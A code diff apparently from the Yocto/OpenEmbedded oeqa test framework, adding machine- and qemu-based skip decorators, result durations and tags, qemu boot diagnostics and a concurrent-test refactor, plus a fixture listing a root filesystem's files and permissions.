+ machine = td.get('MACHINE', '')
+ if (qemu in td.get('MACHINE', '') or
+ machine.startswith('qemu')):
+ return True
+ return False
+
@registerDecorator
class skipIfDataVar(OETestDecorator):
"""
@@ -131,3 +151,72 @@ class skipIfFeature(OETestDecorator):
self.logger.debug(msg)
if has_feature(self.case.td, self.value):
self.case.skipTest(self.msg)
+
+@registerDecorator
+class skipIfNotMachine(OETestDecorator):
+ """
+ Skip test based on MACHINE.
+
+ value must be match MACHINE or it will skip the test
+ with msg as the reason.
+ """
+
+ attrs = ('value', 'msg')
+
+ def setUpDecorator(self):
+ msg = ('Checking if %s is not this MACHINE' % self.value)
+ self.logger.debug(msg)
+ if not has_machine(self.case.td, self.value):
+ self.case.skipTest(self.msg)
+
+@registerDecorator
+class skipIfMachine(OETestDecorator):
+ """
+ Skip test based on Machine.
+
+ value must not be this machine or it will skip the test
+ with msg as the reason.
+ """
+
+ attrs = ('value', 'msg')
+
+ def setUpDecorator(self):
+ msg = ('Checking if %s is this MACHINE' % self.value)
+ self.logger.debug(msg)
+ if has_machine(self.case.td, self.value):
+ self.case.skipTest(self.msg)
+
+@registerDecorator
+class skipIfNotQemu(OETestDecorator):
+ """
+ Skip test based on MACHINE.
+
+ value must be a qemu MACHINE or it will skip the test
+ with msg as the reason.
+ """
+
+ attrs = ('value', 'msg')
+
+ def setUpDecorator(self):
+ msg = ('Checking if %s is not this MACHINE' % self.value)
+ self.logger.debug(msg)
+ if not is_qemu(self.case.td, self.value):
+ self.case.skipTest(self.msg)
+
+@registerDecorator
+class skipIfQemu(OETestDecorator):
+ """
+ Skip test based on Qemu Machine.
+
+ value must not be a qemu machine or it will skip the test
+ with msg as the reason.
+ """
+
+ attrs = ('value', 'msg')
+
+ def setUpDecorator(self):
+ msg = ('Checking if %s is this MACHINE' % self.value)
+ self.logger.debug(msg)
+ if is_qemu(self.case.td, self.value):
+ self.case.skipTest(self.msg)
+
diff --git a/meta/lib/oeqa/core/decorator/oetimeout.py b/meta/lib/oeqa/core/decorator/oetimeout.py
index df90d1c798..5e6873ad48 100644
--- a/meta/lib/oeqa/core/decorator/oetimeout.py
+++ b/meta/lib/oeqa/core/decorator/oetimeout.py
@@ -24,5 +24,6 @@ class OETimeout(OETestDecorator):
def tearDownDecorator(self):
signal.alarm(0)
- signal.signal(signal.SIGALRM, self.alarmSignal)
- self.logger.debug("Removed SIGALRM handler")
+ if hasattr(self, 'alarmSignal'):
+ signal.signal(signal.SIGALRM, self.alarmSignal)
+ self.logger.debug("Removed SIGALRM handler")
diff --git a/meta/lib/oeqa/core/loader.py b/meta/lib/oeqa/core/loader.py
index 0d7970d49e..11978213b8 100644
--- a/meta/lib/oeqa/core/loader.py
+++ b/meta/lib/oeqa/core/loader.py
@@ -46,7 +46,7 @@ def _built_modules_dict(modules):
for module in modules:
# Assumption: package and module names do not contain upper case
# characters, whereas class names do
- m = re.match(r'^(\w+)(?:\.(\w[^.]*)(?:\.([^.]+))?)?$', module, flags=re.ASCII)
+ m = re.match(r'^([0-9a-z_.]+)(?:\.(\w[^.]*)(?:\.([^.]+))?)?$', module, flags=re.ASCII)
if not m:
continue
diff --git a/meta/lib/oeqa/core/runner.py b/meta/lib/oeqa/core/runner.py
index f656e1a9c5..d50690ab37 100644
--- a/meta/lib/oeqa/core/runner.py
+++ b/meta/lib/oeqa/core/runner.py
@@ -182,8 +182,10 @@ class OETestResult(_TestResult):
(status, log) = self._getTestResultDetails(case)
t = ""
+ duration = 0
if case.id() in self.starttime and case.id() in self.endtime:
- t = " (" + "{0:.2f}".format(self.endtime[case.id()] - self.starttime[case.id()]) + "s)"
+ duration = self.endtime[case.id()] - self.starttime[case.id()]
+ t = " (" + "{0:.2f}".format(duration) + "s)"
if status not in logs:
logs[status] = []
@@ -191,6 +193,22 @@ class OETestResult(_TestResult):
report = {'status': status}
if log:
report['log'] = log
+ if duration:
+ report['duration'] = duration
+
+ alltags = []
+ # pull tags from the case class
+ if hasattr(case, "__oeqa_testtags"):
+ alltags.extend(getattr(case, "__oeqa_testtags"))
+ # pull tags from the method itself
+ test_name = case._testMethodName
+ if hasattr(case, test_name):
+ method = getattr(case, test_name)
+ if hasattr(method, "__oeqa_testtags"):
+ alltags.extend(getattr(method, "__oeqa_testtags"))
+ if alltags:
+ report['oetags'] = alltags
+
if dump_streams and case.id() in self.logged_output:
(stdout, stderr) = self.logged_output[case.id()]
report['stdout'] = stdout
@@ -319,10 +337,17 @@ class OETestResultJSONHelper(object):
the_file.write(file_content)
def dump_testresult_file(self, write_dir, configuration, result_id, test_result):
- bb.utils.mkdirhier(write_dir)
- lf = bb.utils.lockfile(os.path.join(write_dir, 'jsontestresult.lock'))
+ try:
+ import bb
+ has_bb = True
+ bb.utils.mkdirhier(write_dir)
+ lf = bb.utils.lockfile(os.path.join(write_dir, 'jsontestresult.lock'))
+ except ImportError:
+ has_bb = False
+ os.makedirs(write_dir, exist_ok=True)
test_results = self._get_existing_testresults_if_available(write_dir)
test_results[result_id] = {'configuration': configuration, 'result': test_result}
json_testresults = json.dumps(test_results, sort_keys=True, indent=4)
self._write_file(write_dir, self.testresult_filename, json_testresults)
- bb.utils.unlockfile(lf)
+ if has_bb:
+ bb.utils.unlockfile(lf)
diff --git a/meta/lib/oeqa/core/target/qemu.py b/meta/lib/oeqa/core/target/qemu.py
index 081c627b01..79fd724f7d 100644
--- a/meta/lib/oeqa/core/target/qemu.py
+++ b/meta/lib/oeqa/core/target/qemu.py
@@ -8,9 +8,14 @@ import os
import sys
import signal
import time
+import glob
+import subprocess
+from collections import defaultdict
from .ssh import OESSHTarget
from oeqa.utils.qemurunner import QemuRunner
+from oeqa.utils.dump import MonitorDumper
+from oeqa.utils.dump import TargetDumper
supported_fstypes = ['ext3', 'ext4', 'cpio.gz', 'wic']
@@ -18,23 +23,39 @@ class OEQemuTarget(OESSHTarget):
def __init__(self, logger, server_ip, timeout=300, user='root',
port=None, machine='', rootfs='', kernel='', kvm=False, slirp=False,
dump_dir='', dump_host_cmds='', display='', bootlog='',
- tmpdir='', dir_image='', boottime=60, **kwargs):
+ tmpdir='', dir_image='', boottime=60, serial_ports=2,
+ boot_patterns = defaultdict(str), ovmf=False, tmpfsdir=None, **kwargs):
super(OEQemuTarget, self).__init__(logger, None, server_ip, timeout,
user, port)
self.server_ip = server_ip
+ self.server_port = 0
self.machine = machine
self.rootfs = rootfs
self.kernel = kernel
self.kvm = kvm
+ self.ovmf = ovmf
self.use_slirp = slirp
+ self.boot_patterns = boot_patterns
+ self.dump_dir = dump_dir
+ self.bootlog = bootlog
self.runner = QemuRunner(machine=machine, rootfs=rootfs, tmpdir=tmpdir,
deploy_dir_image=dir_image, display=display,
logfile=bootlog, boottime=boottime,
use_kvm=kvm, use_slirp=slirp, dump_dir=dump_dir,
- dump_host_cmds=dump_host_cmds, logger=logger)
+ dump_host_cmds=dump_host_cmds, logger=logger,
+ serial_ports=serial_ports, boot_patterns = boot_patterns,
+ use_ovmf=ovmf, tmpfsdir=tmpfsdir)
+ dump_monitor_cmds = kwargs.get("testimage_dump_monitor")
+ self.monitor_dumper = MonitorDumper(dump_monitor_cmds, dump_dir, self.runner)
+ if self.monitor_dumper:
+ self.monitor_dumper.create_dir("qmp")
+
+ dump_target_cmds = kwargs.get("testimage_dump_target")
+ self.target_dumper = TargetDumper(dump_target_cmds, dump_dir, self.runner)
+ self.target_dumper.create_dir("qemu")
def start(self, params=None, extra_bootparams=None, runqemuparams=''):
if self.use_slirp and not self.server_ip:
@@ -57,7 +78,28 @@ class OEQemuTarget(OESSHTarget):
self.server_ip = self.runner.server_ip
else:
self.stop()
- raise RuntimeError("FAILED to start qemu - check the task log and the boot log")
+ # Display the first 20 lines of top and
+ # last 20 lines of the bootlog when the
+ # target is not being booted up.
+ topfile = glob.glob(self.dump_dir + "/*_qemu/host_*_top")
+ msg = "\n\n===== start: snippet =====\n\n"
+ for f in topfile:
+ msg += "file: %s\n\n" % f
+ with open(f) as tf:
+ for x in range(20):
+ msg += next(tf)
+ msg += "\n\n===== end: snippet =====\n\n"
+ blcmd = ["tail", "-20", self.bootlog]
+ msg += "===== start: snippet =====\n\n"
+ try:
+ out = subprocess.check_output(blcmd, stderr=subprocess.STDOUT, timeout=1).decode('utf-8')
+ msg += "file: %s\n\n" % self.bootlog
+ msg += out
+ except (subprocess.CalledProcessError, subprocess.TimeoutExpired, FileNotFoundError) as err:
+ msg += "Error running command: %s\n%s\n" % (blcmd, err)
+ msg += "\n\n===== end: snippet =====\n"
+
+ raise RuntimeError("FAILED to start qemu - check the task log and the boot log %s" % (msg))
def stop(self):
self.runner.stop()
diff --git a/meta/lib/oeqa/core/target/ssh.py b/meta/lib/oeqa/core/target/ssh.py
index 51032ef1a9..f956a7744f 100644
--- a/meta/lib/oeqa/core/target/ssh.py
+++ b/meta/lib/oeqa/core/target/ssh.py
@@ -15,7 +15,7 @@ from . import OETarget
class OESSHTarget(OETarget):
def __init__(self, logger, ip, server_ip, timeout=300, user='root',
- port=None, **kwargs):
+ port=None, server_port=0, **kwargs):
if not logger:
logger = logging.getLogger('target')
logger.setLevel(logging.INFO)
@@ -30,6 +30,7 @@ class OESSHTarget(OETarget):
super(OESSHTarget, self).__init__(logger)
self.ip = ip
self.server_ip = server_ip
+ self.server_port = server_port
self.timeout = timeout
self.user = user
ssh_options = [
@@ -42,6 +43,8 @@ class OESSHTarget(OETarget):
if port:
self.ssh = self.ssh + [ '-p', port ]
self.scp = self.scp + [ '-P', port ]
+ self._monitor_dumper = None
+ self.target_dumper = None
def start(self, **kwargs):
pass
@@ -49,6 +52,15 @@ class OESSHTarget(OETarget):
def stop(self, **kwargs):
pass
+ @property
+ def monitor_dumper(self):
+ return self._monitor_dumper
+
+ @monitor_dumper.setter
+ def monitor_dumper(self, dumper):
+ self._monitor_dumper = dumper
+ self.monitor_dumper.dump_monitor()
+
def _run(self, command, timeout=None, ignore_status=True):
"""
Runs command in target using SSHProcess.
@@ -86,7 +98,15 @@ class OESSHTarget(OETarget):
processTimeout = self.timeout
status, output = self._run(sshCmd, processTimeout, True)
- self.logger.debug('Command: %s\nOutput: %s\n' % (command, output))
+ self.logger.debug('Command: %s\nStatus: %d Output: %s\n' % (command, status, output))
+ if (status == 255) and (('No route to host') in output):
+ if self.monitor_dumper:
+ self.monitor_dumper.dump_monitor()
+ if status == 255:
+ if self.target_dumper:
+ self.target_dumper.dump_target()
+ if self.monitor_dumper:
+ self.monitor_dumper.dump_monitor()
return (status, output)
def copyTo(self, localSrc, remoteDst):
@@ -106,13 +126,16 @@ class OESSHTarget(OETarget):
scpCmd = self.scp + [localSrc, remotePath]
return self._run(scpCmd, ignore_status=False)
- def copyFrom(self, remoteSrc, localDst):
+ def copyFrom(self, remoteSrc, localDst, warn_on_failure=False):
"""
Copy file from target.
"""
remotePath = '%s@%s:%s' % (self.user, self.ip, remoteSrc)
scpCmd = self.scp + [remotePath, localDst]
- return self._run(scpCmd, ignore_status=False)
+ (status, output) = self._run(scpCmd, ignore_status=warn_on_failure)
+ if warn_on_failure and status:
+ self.logger.warning("Copy returned non-zero exit status %d:\n%s" % (status, output))
+ return (status, output)
def copyDirTo(self, localSrc, remoteDst):
"""
@@ -246,7 +269,7 @@ def SSHCall(command, logger, timeout=None, **opts):
"stdin": None,
"shell": False,
"bufsize": -1,
- "preexec_fn": os.setsid,
+ "start_new_session": True,
}
options.update(opts)
output = ''
diff --git a/meta/lib/oeqa/core/tests/cases/timeout.py b/meta/lib/oeqa/core/tests/cases/timeout.py
index 5dfecc7b7c..69cf969a67 100644
--- a/meta/lib/oeqa/core/tests/cases/timeout.py
+++ b/meta/lib/oeqa/core/tests/cases/timeout.py
@@ -8,6 +8,7 @@ from time import sleep
from oeqa.core.case import OETestCase
from oeqa.core.decorator.oetimeout import OETimeout
+from oeqa.core.decorator.depends import OETestDepends
class TimeoutTest(OETestCase):
@@ -19,3 +20,15 @@ class TimeoutTest(OETestCase):
def testTimeoutFail(self):
sleep(2)
self.assertTrue(True, msg='How is this possible?')
+
+
+ def testTimeoutSkip(self):
+ self.skipTest("This test needs to be skipped, so that testTimeoutDepends()'s OETestDepends kicks in")
+
+ @OETestDepends(["timeout.TimeoutTest.testTimeoutSkip"])
+ @OETimeout(3)
+ def testTimeoutDepends(self):
+ self.assertTrue(False, msg='How is this possible?')
+
+ def testTimeoutUnrelated(self):
+ sleep(6)
diff --git a/meta/lib/oeqa/core/tests/test_data.py b/meta/lib/oeqa/core/tests/test_data.py
index ac74098b78..acd726f3a0 100755
--- a/meta/lib/oeqa/core/tests/test_data.py
+++ b/meta/lib/oeqa/core/tests/test_data.py
@@ -33,7 +33,7 @@ class TestData(TestBase):
def test_data_fail_wrong_variable(self):
expectedError = 'AssertionError'
- d = {'IMAGE' : 'core-image-sato', 'ARCH' : 'arm'}
+ d = {'IMAGE' : 'core-image-weston', 'ARCH' : 'arm'}
tc = self._testLoader(d=d, modules=self.modules)
results = tc.runTests()
diff --git a/meta/lib/oeqa/core/tests/test_decorators.py b/meta/lib/oeqa/core/tests/test_decorators.py
index b798bf7d33..5095f39948 100755
--- a/meta/lib/oeqa/core/tests/test_decorators.py
+++ b/meta/lib/oeqa/core/tests/test_decorators.py
@@ -133,5 +133,11 @@ class TestTimeoutDecorator(TestBase):
msg = "OETestTimeout didn't restore SIGALRM"
self.assertIs(alarm_signal, signal.getsignal(signal.SIGALRM), msg=msg)
+ def test_timeout_cancel(self):
+ tests = ['timeout.TimeoutTest.testTimeoutSkip', 'timeout.TimeoutTest.testTimeoutDepends', 'timeout.TimeoutTest.testTimeoutUnrelated']
+ msg = 'Unrelated test failed to complete'
+ tc = self._testLoader(modules=self.modules, tests=tests)
+ self.assertTrue(tc.runTests().wasSuccessful(), msg=msg)
+
if __name__ == '__main__':
unittest.main()
diff --git a/meta/lib/oeqa/core/utils/concurrencytest.py b/meta/lib/oeqa/core/utils/concurrencytest.py
index 0f7b3dcc11..161a2f6e90 100644
--- a/meta/lib/oeqa/core/utils/concurrencytest.py
+++ b/meta/lib/oeqa/core/utils/concurrencytest.py
@@ -48,11 +48,15 @@ _all__ = [
#
class BBThreadsafeForwardingResult(ThreadsafeForwardingResult):
- def __init__(self, target, semaphore, threadnum, totalinprocess, totaltests):
+ def __init__(self, target, semaphore, threadnum, totalinprocess, totaltests, output, finalresult):
super(BBThreadsafeForwardingResult, self).__init__(target, semaphore)
self.threadnum = threadnum
self.totalinprocess = totalinprocess
self.totaltests = totaltests
+ self.buffer = True
+ self.outputbuf = output
+ self.finalresult = finalresult
+ self.finalresult.buffer = True
def _add_result_with_semaphore(self, method, test, *args, **kwargs):
self.semaphore.acquire()
@@ -71,20 +75,25 @@ class BBThreadsafeForwardingResult(ThreadsafeForwardingResult):
test.id())
finally:
self.semaphore.release()
+ self.finalresult._stderr_buffer = io.StringIO(initial_value=self.outputbuf.getvalue().decode("utf-8"))
+ self.finalresult._stdout_buffer = io.StringIO()
super(BBThreadsafeForwardingResult, self)._add_result_with_semaphore(method, test, *args, **kwargs)
class ProxyTestResult:
# a very basic TestResult proxy, in order to modify add* calls
def __init__(self, target):
self.result = target
+ self.failed_tests = 0
def _addResult(self, method, test, *args, exception = False, **kwargs):
return method(test, *args, **kwargs)
def addError(self, test, err = None, **kwargs):
+ self.failed_tests += 1
self._addResult(self.result.addError, test, err, exception = True, **kwargs)
def addFailure(self, test, err = None, **kwargs):
+ self.failed_tests += 1
self._addResult(self.result.addFailure, test, err, exception = True, **kwargs)
def addSuccess(self, test, **kwargs):
@@ -96,6 +105,9 @@ class ProxyTestResult:
def addUnexpectedSuccess(self, test, **kwargs):
self._addResult(self.result.addUnexpectedSuccess, test, **kwargs)
+ def wasSuccessful(self):
+ return self.failed_tests == 0
+
def __getattr__(self, attr):
return getattr(self.result, attr)
@@ -146,6 +158,20 @@ def outSideTestaddError(self, offset, line):
subunit._OutSideTest.addError = outSideTestaddError
+# Like outSideTestaddError above, we need an equivalent for skips
+# happening at the setUpClass() level, otherwise we will see "UNKNOWN"
+# as a result for concurrent tests
+#
+def outSideTestaddSkip(self, offset, line):
+ """A 'skip:' directive has been read."""
+ test_name = line[offset:-1].decode('utf8')
+ self.parser._current_test = subunit.RemotedTestCase(test_name)
+ self.parser.current_test_description = test_name
+ self.parser._state = self.parser._reading_skip_details
+ self.parser._reading_skip_details.set_simple()
+ self.parser.subunitLineReceived(line)
+
+subunit._OutSideTest.addSkip = outSideTestaddSkip
#
# A dummy structure to add to io.StringIO so that the .buffer object
@@ -163,33 +189,27 @@ class dummybuf(object):
#
class ConcurrentTestSuite(unittest.TestSuite):
- def __init__(self, suite, processes):
+ def __init__(self, suite, processes, setupfunc, removefunc):
super(ConcurrentTestSuite, self).__init__([suite])
self.processes = processes
+ self.setupfunc = setupfunc
+ self.removefunc = removefunc
def run(self, result):
- tests, totaltests = fork_for_tests(self.processes, self)
+ testservers, totaltests = fork_for_tests(self.processes, self)
try:
threads = {}
queue = Queue()
semaphore = threading.Semaphore(1)
result.threadprogress = {}
- for i, (test, testnum) in enumerate(tests):
+ for i, (testserver, testnum, output) in enumerate(testservers):
result.threadprogress[i] = []
process_result = BBThreadsafeForwardingResult(
ExtraResultsDecoderTestResult(result),
- semaphore, i, testnum, totaltests)
- # Force buffering of stdout/stderr so the console doesn't get corrupted by test output
- # as per default in parent code
- process_result.buffer = True
- # We have to add a buffer object to stdout to keep subunit happy
- process_result._stderr_buffer = io.StringIO()
- process_result._stderr_buffer.buffer = dummybuf(process_result._stderr_buffer)
- process_result._stdout_buffer = io.StringIO()
- process_result._stdout_buffer.buffer = dummybuf(process_result._stdout_buffer)
+ semaphore, i, testnum, totaltests, output, result)
reader_thread = threading.Thread(
- target=self._run_test, args=(test, process_result, queue))
- threads[test] = reader_thread, process_result
+ target=self._run_test, args=(testserver, process_result, queue))
+ threads[testserver] = reader_thread, process_result
reader_thread.start()
while threads:
finished_test = queue.get()
@@ -200,13 +220,13 @@ class ConcurrentTestSuite(unittest.TestSuite):
process_result.stop()
raise
finally:
- for test in tests:
- test[0]._stream.close()
+ for testserver in testservers:
+ testserver[0]._stream.close()
- def _run_test(self, test, process_result, queue):
+ def _run_test(self, testserver, process_result, queue):
try:
try:
- test.run(process_result)
+ testserver.run(process_result)
except Exception:
# The run logic itself failed
case = testtools.ErrorHolder(
@@ -214,17 +234,10 @@ class ConcurrentTestSuite(unittest.TestSuite):
error=sys.exc_info())
case.run(process_result)
finally:
- queue.put(test)
-
-def removebuilddir(d):
- delay = 5
- while delay and os.path.exists(d + "/bitbake.lock"):
- time.sleep(1)
- delay = delay - 1
- bb.utils.prunedir(d, ionice=True)
+ queue.put(testserver)
def fork_for_tests(concurrency_num, suite):
- result = []
+ testservers = []
if 'BUILDDIR' in os.environ:
selftestdir = get_test_layer()
@@ -249,37 +262,7 @@ def fork_for_tests(concurrency_num, suite):
stream = os.fdopen(c2pwrite, 'wb', 1)
os.close(c2pread)
- # Create a new separate BUILDDIR for each group of tests
- if 'BUILDDIR' in os.environ:
- builddir = os.environ['BUILDDIR']
- newbuilddir = builddir + "-st-" + str(ourpid)
- newselftestdir = newbuilddir + "/meta-selftest"
-
- bb.utils.mkdirhier(newbuilddir)
- oe.path.copytree(builddir + "/conf", newbuilddir + "/conf")
- oe.path.copytree(builddir + "/cache", newbuilddir + "/cache")
- oe.path.copytree(selftestdir, newselftestdir)
-
- for e in os.environ:
- if builddir in os.environ[e]:
- os.environ[e] = os.environ[e].replace(builddir, newbuilddir)
-
- subprocess.check_output("git init; git add *; git commit -a -m 'initial'", cwd=newselftestdir, shell=True)
-
- # Tried to used bitbake-layers add/remove but it requires recipe parsing and hence is too slow
- subprocess.check_output("sed %s/conf/bblayers.conf -i -e 's#%s#%s#g'" % (newbuilddir, selftestdir, newselftestdir), cwd=newbuilddir, shell=True)
-
- os.chdir(newbuilddir)
-
- for t in process_suite:
- if not hasattr(t, "tc"):
- continue
- cp = t.tc.config_paths
- for p in cp:
- if selftestdir in cp[p] and newselftestdir not in cp[p]:
- cp[p] = cp[p].replace(selftestdir, newselftestdir)
- if builddir in cp[p] and newbuilddir not in cp[p]:
- cp[p] = cp[p].replace(builddir, newbuilddir)
+ (builddir, newbuilddir) = suite.setupfunc("-st-" + str(ourpid), selftestdir, process_suite)
# Leave stderr and stdout open so we can see test noise
# Close stdin so that the child goes away if it decides to
@@ -288,16 +271,17 @@ def fork_for_tests(concurrency_num, suite):
newsi = os.open(os.devnull, os.O_RDWR)
os.dup2(newsi, sys.stdin.fileno())
+ # Send stdout/stderr over the stream
+ os.dup2(c2pwrite, sys.stdout.fileno())
+ os.dup2(c2pwrite, sys.stderr.fileno())
+
subunit_client = TestProtocolClient(stream)
- # Force buffering of stdout/stderr so the console doesn't get corrupted by test output
- # as per default in parent code
- subunit_client.buffer = True
subunit_result = AutoTimingTestResultDecorator(subunit_client)
- process_suite.run(ExtraResultsEncoderTestResult(subunit_result))
+ unittest_result = process_suite.run(ExtraResultsEncoderTestResult(subunit_result))
if ourpid != os.getpid():
os._exit(0)
- if newbuilddir:
- removebuilddir(newbuilddir)
+ if newbuilddir and unittest_result.wasSuccessful():
+ suite.removefunc(newbuilddir)
except:
# Don't do anything with process children
if ourpid != os.getpid():
@@ -313,7 +297,7 @@ def fork_for_tests(concurrency_num, suite):
sys.stderr.write(traceback.format_exc())
finally:
if newbuilddir:
- removebuilddir(newbuilddir)
+ suite.removefunc(newbuilddir)
stream.flush()
os._exit(1)
stream.flush()
@@ -321,9 +305,11 @@ def fork_for_tests(concurrency_num, suite):
else:
os.close(c2pwrite)
stream = os.fdopen(c2pread, 'rb', 1)
- test = ProtocolTestCase(stream)
- result.append((test, numtests))
- return result, totaltests
+ # Collect stdout/stderr into an io buffer
+ output = io.BytesIO()
+ testserver = ProtocolTestCase(stream, passthrough=output)
+ testservers.append((testserver, numtests, output))
+ return testservers, totaltests
def partition_tests(suite, count):
# Keep tests from the same class together but allow tests from modules
diff --git a/meta/lib/oeqa/files/buildhistory_filelist1.txt b/meta/lib/oeqa/files/buildhistory_filelist1.txt
new file mode 100644
index 0000000000..8d882895ad
--- /dev/null
+++ b/meta/lib/oeqa/files/buildhistory_filelist1.txt
@@ -0,0 +1,9214 @@
+drwxr-xr-x root root 4096 ./bin
+lrwxrwxrwx root root 19 ./bin/ash -> /bin/busybox.nosuid
+lrwxrwxrwx root root 25 ./bin/base64 -> /usr/bin/base64.coreutils
+-rwxr-xr-x root root 1190872 ./bin/bash.bash
+lrwxrwxrwx root root 14 ./bin/bash -> /bin/bash.bash
+lrwxrwxrwx root root 14 ./bin/busybox -> busybox.nosuid
+-rwxr-xr-x root root 613008 ./bin/busybox.nosuid
+-rwsr-xr-x root root 59440 ./bin/busybox.suid
+lrwxrwxrwx root root 18 ./bin/cat -> /bin/cat.coreutils
+-rwxr-xr-x root root 47336 ./bin/cat.coreutils
+lrwxrwxrwx root root 21 ./bin/chattr -> /bin/chattr.e2fsprogs
+-rwxr-xr-x root root 14312 ./bin/chattr.e2fsprogs
+lrwxrwxrwx root root 20 ./bin/chgrp -> /bin/chgrp.coreutils
+-rwxr-xr-x root root 75944 ./bin/chgrp.coreutils
+lrwxrwxrwx root root 20 ./bin/chmod -> /bin/chmod.coreutils
+-rwxr-xr-x root root 71880 ./bin/chmod.coreutils
+lrwxrwxrwx root root 20 ./bin/chown -> /bin/chown.coreutils
+-rwxr-xr-x root root 80040 ./bin/chown.coreutils
+lrwxrwxrwx root root 17 ./bin/cp -> /bin/cp.coreutils
+-rwxr-xr-x root root 137416 ./bin/cp.coreutils
+lrwxrwxrwx root root 19 ./bin/cpio -> /bin/busybox.nosuid
+lrwxrwxrwx root root 19 ./bin/date -> /bin/date.coreutils
+-rwxr-xr-x root root 121032 ./bin/date.coreutils
+lrwxrwxrwx root root 17 ./bin/dd -> /bin/dd.coreutils
+-rwxr-xr-x root root 88272 ./bin/dd.coreutils
+lrwxrwxrwx root root 21 ./bin/df -> /usr/bin/df.coreutils
+lrwxrwxrwx root root 21 ./bin/dmesg -> /bin/dmesg.util-linux
+-rwxr-xr-x root root 84256 ./bin/dmesg.util-linux
+lrwxrwxrwx root root 19 ./bin/dnsdomainname -> /bin/busybox.nosuid
+lrwxrwxrwx root root 19 ./bin/dumpkmap -> /bin/busybox.nosuid
+lrwxrwxrwx root root 19 ./bin/echo -> /bin/echo.coreutils
+-rwxr-xr-x root root 39064 ./bin/echo.coreutils
+lrwxrwxrwx root root 15 ./bin/egrep -> /bin/egrep.grep
+-rwxr-xr-x root root 28 ./bin/egrep.grep
+lrwxrwxrwx root root 20 ./bin/false -> /bin/false.coreutils
+-rwxr-xr-x root root 39064 ./bin/false.coreutils
+lrwxrwxrwx root root 15 ./bin/fgrep -> /bin/fgrep.grep
+-rwxr-xr-x root root 28 ./bin/fgrep.grep
+lrwxrwxrwx root root 22 ./bin/getopt -> /bin/getopt.util-linux
+-rwxr-xr-x root root 22576 ./bin/getopt.util-linux
+lrwxrwxrwx root root 14 ./bin/grep -> /bin/grep.grep
+-rwxr-xr-x root root 244016 ./bin/grep.grep
+lrwxrwxrwx root root 19 ./bin/gunzip -> /bin/busybox.nosuid
+lrwxrwxrwx root root 19 ./bin/gzip -> /bin/busybox.nosuid
+lrwxrwxrwx root root 23 ./bin/hostname -> /bin/hostname.coreutils
+-rwxr-xr-x root root 43176 ./bin/hostname.coreutils
+lrwxrwxrwx root root 16 ./bin/kill -> /bin/kill.procps
+-rwxr-xr-x root root 47712 ./bin/kill.coreutils
+-rwxr-xr-x root root 30760 ./bin/kill.procps
+-rwxr-xr-x root root 38960 ./bin/kill.util-linux
+-rwxr-xr-x root root 141456 ./bin/kmod
+lrwxrwxrwx root root 17 ./bin/ln -> /bin/ln.coreutils
+-rwxr-xr-x root root 75984 ./bin/ln.coreutils
+lrwxrwxrwx root root 17 ./bin/login -> /bin/login.shadow
+-rwxr-xr-x root root 73120 ./bin/login.shadow
+lrwxrwxrwx root root 17 ./bin/ls -> /bin/ls.coreutils
+-rwxr-xr-x root root 162448 ./bin/ls.coreutils
+lrwxrwxrwx root root 15 ./bin/lsmod -> /bin/lsmod.kmod
+lrwxrwxrwx root root 4 ./bin/lsmod.kmod -> kmod
+lrwxrwxrwx root root 20 ./bin/mkdir -> /bin/mkdir.coreutils
+-rwxr-xr-x root root 67752 ./bin/mkdir.coreutils
+lrwxrwxrwx root root 20 ./bin/mknod -> /bin/mknod.coreutils
+-rwxr-xr-x root root 47272 ./bin/mknod.coreutils
+lrwxrwxrwx root root 25 ./bin/mktemp -> /usr/bin/mktemp.coreutils
+lrwxrwxrwx root root 20 ./bin/more -> /bin/more.util-linux
+-rwxr-xr-x root root 42976 ./bin/more.util-linux
+lrwxrwxrwx root root 21 ./bin/mount -> /bin/mount.util-linux
+lrwxrwxrwx root root 26 ./bin/mountpoint -> /bin/mountpoint.util-linux
+-rwxr-xr-x root root 14304 ./bin/mountpoint.sysvinit
+-rwxr-xr-x root root 18480 ./bin/mountpoint.util-linux
+-rwsr-xr-x root root 55344 ./bin/mount.util-linux
+lrwxrwxrwx root root 17 ./bin/mv -> /bin/mv.coreutils
+-rwxr-xr-x root root 145616 ./bin/mv.coreutils
+lrwxrwxrwx root root 19 ./bin/netstat -> /bin/busybox.nosuid
+lrwxrwxrwx root root 23 ./bin/nice -> /usr/bin/nice.coreutils
+lrwxrwxrwx root root 19 ./bin/pidof -> /bin/pidof.sysvinit
+-rwxr-xr-x root root 22568 ./bin/pidof.procps
+lrwxrwxrwx root root 14 ./bin/pidof.sysvinit -> /sbin/killall5
+lrwxrwxrwx root root 17 ./bin/ping6 -> /bin/busybox.suid
+lrwxrwxrwx root root 17 ./bin/ping -> /bin/busybox.suid
+lrwxrwxrwx root root 27 ./bin/printenv -> /usr/bin/printenv.coreutils
+lrwxrwxrwx root root 14 ./bin/ps -> /bin/ps.procps
+-rwxr-xr-x root root 137496 ./bin/ps.procps
+lrwxrwxrwx root root 18 ./bin/pwd -> /bin/pwd.coreutils
+-rwxr-xr-x root root 47272 ./bin/pwd.coreutils
+lrwxrwxrwx root root 17 ./bin/rm -> /bin/rm.coreutils
+-rwxr-xr-x root root 75976 ./bin/rm.coreutils
+lrwxrwxrwx root root 20 ./bin/rmdir -> /bin/rmdir.coreutils
+-rwxr-xr-x root root 55464 ./bin/rmdir.coreutils
+lrwxrwxrwx root root 19 ./bin/run-parts -> /bin/busybox.nosuid
+lrwxrwxrwx root root 12 ./bin/sed -> /bin/sed.sed
+-rwxr-xr-x root root 190896 ./bin/sed.sed
+lrwxrwxrwx root root 14 ./bin/sh -> /bin/bash.bash
+lrwxrwxrwx root root 20 ./bin/sleep -> /bin/sleep.coreutils
+-rwxr-xr-x root root 43176 ./bin/sleep.coreutils
+-rwxr-xr-x root root 1736 ./bin/start_getty
+lrwxrwxrwx root root 19 ./bin/stat -> /bin/stat.coreutils
+-rwxr-xr-x root root 96456 ./bin/stat.coreutils
+lrwxrwxrwx root root 19 ./bin/stty -> /bin/stty.coreutils
+-rwxr-xr-x root root 92360 ./bin/stty.coreutils
+lrwxrwxrwx root root 14 ./bin/su -> /bin/su.shadow
+-rwsr-xr-x root root 60992 ./bin/su.shadow
+lrwxrwxrwx root root 19 ./bin/sync -> /bin/sync.coreutils
+-rwxr-xr-x root root 43176 ./bin/sync.coreutils
+lrwxrwxrwx root root 19 ./bin/tar -> /bin/busybox.nosuid
+lrwxrwxrwx root root 20 ./bin/touch -> /bin/touch.coreutils
+-rwxr-xr-x root root 108744 ./bin/touch.coreutils
+lrwxrwxrwx root root 19 ./bin/true -> /bin/true.coreutils
+-rwxr-xr-x root root 39064 ./bin/true.coreutils
